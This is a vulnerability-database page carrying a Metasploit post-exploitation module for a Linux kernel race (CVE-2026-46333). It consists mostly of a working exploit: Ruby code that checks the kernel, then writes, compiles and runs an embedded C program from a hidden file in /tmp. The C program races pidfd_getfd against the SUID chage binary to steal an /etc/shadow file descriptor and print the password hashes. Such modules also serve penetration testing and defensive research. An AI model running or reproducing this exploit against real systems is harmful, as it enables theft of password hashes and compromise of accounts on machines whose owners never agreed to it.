Lucene search
K

Linux Kernel __ptrace_may_access() Exit Race chage File Disclosure

🗓️ 16 Jun 2026 19:02:42Reported by 0xdeadbeefnetwork, bhaskarbharType 
metasploit
 metasploit
🔗 www.rapid7.com👁 183 Views

Exploits a race in the Linux kernel to disclose /etc/shadow via pidfd_getfd during process exit.

Related
Code
##
# This module requires Metasploit Framework
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::File
  include Msf::Post::Linux
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Kernel __ptrace_may_access() Exit Race chage File Disclosure',
        'Description' => %q{
          This module exploits a race condition in the Linux kernel
          do_exit() teardown path affecting __ptrace_may_access().

          During process termination, privileged file descriptors may
          remain accessible through pidfd_getfd() after task->mm becomes
          NULL, allowing sensitive file disclosure from privileged SUID
          binaries such as chage.

          This module targets chage to disclose /etc/shadow.

          This module performs information disclosure only and does not
          create a new session.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '0xdeadbeefnetwork', # Original POC author
          'bhaskarbhar' # Metasploit module author
        ],
        'References' => [
          [ 'CVE', '2026-46333' ],
          [ 'URL', 'https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn' ]
        ],
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '2026-05-14',
        'Notes' => {
          'AKA' => [ 'ssh-keysign-pwn' ],
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([
      OptString.new(
        'WRITABLE_DIR',
        [ true, 'Writable directory for exploit compilation', '/tmp' ]
      ),

      OptInt.new(
        'RACE_ROUNDS',
        [ true, 'Number of race attempts', 500 ]
      )
    ])
  end

  def check
    version = kernel_release.to_s.strip

    if version.nil? || version.empty?
      return Exploit::CheckCode::Unknown(
        'Unable to determine kernel version'
      )
    end

    vprint_status("Detected kernel version: #{version}")

    unless command_exists?('gcc')
      return Exploit::CheckCode::Unknown(
        'gcc is missing; exploit cannot compile'
      )
    end

    unless file?('/usr/bin/chage')
      return Exploit::CheckCode::Unknown(
        'chage target binary not present'
      )
    end

    unless setuid?('/usr/bin/chage') || stat('/usr/bin/chage').setgid?
      return Exploit::CheckCode::Unknown(
        'chage does not appear to have SGID/SUID permissions'
      )
    end

    ptrace_scope = yama_ptrace_scope

    if ptrace_scope > 0
      vprint_warning(
        "ptrace_scope=#{ptrace_scope} may reduce exploit reliability"
      )
    end

    clean_version = version
                    .split('-')
                    .first
                    .split('+')
                    .first

    kernel = Rex::Version.new(clean_version)

    if kernel < Rex::Version.new('5.6.0')
      return Exploit::CheckCode::Safe(
        "Kernel #{version} is older than vulnerable range"
      )
    end

    if kernel >= Rex::Version.new('6.15.0')
      return Exploit::CheckCode::Detected(
        "Kernel #{version} may contain vendor backports or fixes"
      )
    end

    Exploit::CheckCode::Appears(
      "Kernel #{version} appears vulnerable to CVE-2026-46333"
    )
  end

  def exploit_source
    <<~EOF
      #define _GNU_SOURCE

      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <signal.h>
      #include <sys/syscall.h>
      #include <sys/wait.h>

      #ifndef __NR_pidfd_open
      #define __NR_pidfd_open 434
      #endif

      #ifndef __NR_pidfd_getfd
      #define __NR_pidfd_getfd 438
      #endif

      int main(int argc, char **argv)
      {
          int rounds = 500;

          if (argc > 1) {
              rounds = atoi(argv[1]);
          }

          for (int round = 0; round < rounds; round++) {

              pid_t child = fork();

              if (child == 0) {

                  int dn = open("/dev/null", O_RDWR);

                  dup2(dn, 1);
                  dup2(dn, 2);

                  execl("/usr/bin/chage",
                        "chage",
                        "-l",
                        "root",
                        (char *)NULL);

                  _exit(127);
              }

              int pidfd = syscall(__NR_pidfd_open, child, 0);

              if (pidfd < 0) {
                  waitpid(child, NULL, 0);
                  continue;
              }

              int stolen = -1;

              for (int attempt = 0;
                   attempt < 30000 && stolen < 0;
                   attempt++) {

                  for (int fd = 3; fd < 32; fd++) {

                      int s = syscall(__NR_pidfd_getfd,
                                      pidfd,
                                      fd,
                                      0);

                      if (s < 0) {
                          continue;
                      }

                      char path[256] = {0};
                      char linkpath[64];

                      snprintf(linkpath,
                               sizeof(linkpath),
                               "/proc/self/fd/%d",
                               s);

                      ssize_t n = readlink(linkpath,
                                           path,
                                           sizeof(path) - 1);

                      if (n > 0) {
                          path[n] = 0;
                      }

                      if (strstr(path, "/etc/shadow")) {

                          stolen = s;

                          fprintf(stderr,
                                  "[+] Stole fd %d -> %s\\n",
                                  fd,
                                  path);

                          break;
                      }

                      close(s);
                  }
              }

              if (stolen >= 0) {

                  char buf[8192];

                  lseek(stolen, 0, SEEK_SET);

                  ssize_t n;

                  while ((n = read(stolen,
                                   buf,
                                   sizeof(buf))) > 0) {

                      fwrite(buf, 1, n, stdout);
                  }

                  close(stolen);
                  close(pidfd);

                  waitpid(child, NULL, 0);

                  return 0;
              }

              close(pidfd);

              waitpid(child, NULL, 0);
          }

          fprintf(stderr,
                  "[-] Failed after all race attempts\\n");

          return 1;
      }
    EOF
  end

  def run
    checkcode = check

    if checkcode == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable,
                'Target does not appear vulnerable')
    end

    unless directory?(datastore['WRITABLE_DIR'])
      fail_with(Failure::BadConfig,
                'Writable directory does not exist')
    end

    base = ".#{Rex::Text.rand_text_alpha(6)}"

    c_path = "#{datastore['WRITABLE_DIR']}/#{base}.c"
    bin_path = "#{datastore['WRITABLE_DIR']}/#{base}"

    print_status("Writing exploit source to #{c_path}")

    write_file(c_path, exploit_source)

    register_file_for_cleanup(c_path)

    print_status('Compiling exploit payload')

    compile = create_process('gcc', args: ['-O2', c_path, '-o', bin_path], time_out: 120)

    vprint_status(compile) unless compile.nil? || compile.empty?

    unless file?(bin_path)
      fail_with(Failure::Unknown,
                'Exploit compilation failed')
    end

    chmod(bin_path, 0o700)

    register_file_for_cleanup(bin_path)

    print_status(
      "Launching race with #{datastore['RACE_ROUNDS']} attempts"
    )

    output = create_process(bin_path, args: [datastore['RACE_ROUNDS'].to_s], time_out: 30)

    if output.nil? || output.empty?
      fail_with(Failure::Unknown,
                'Exploit returned no output')
    end

    if output.include?('$')

      print_good('Successfully disclosed /etc/shadow')

      passwd_file = read_file('/etc/passwd')
      report_linux_hashdump(passwd_file, output)

      print_line
      print_line(output)

    else

      print_error(
        'Race attempts completed but no matching /etc/shadow file descriptor was recovered'
      )

      vprint_status(output)
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jul 2026 19:03Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.17.8
EPSS0.0138
SSVC
183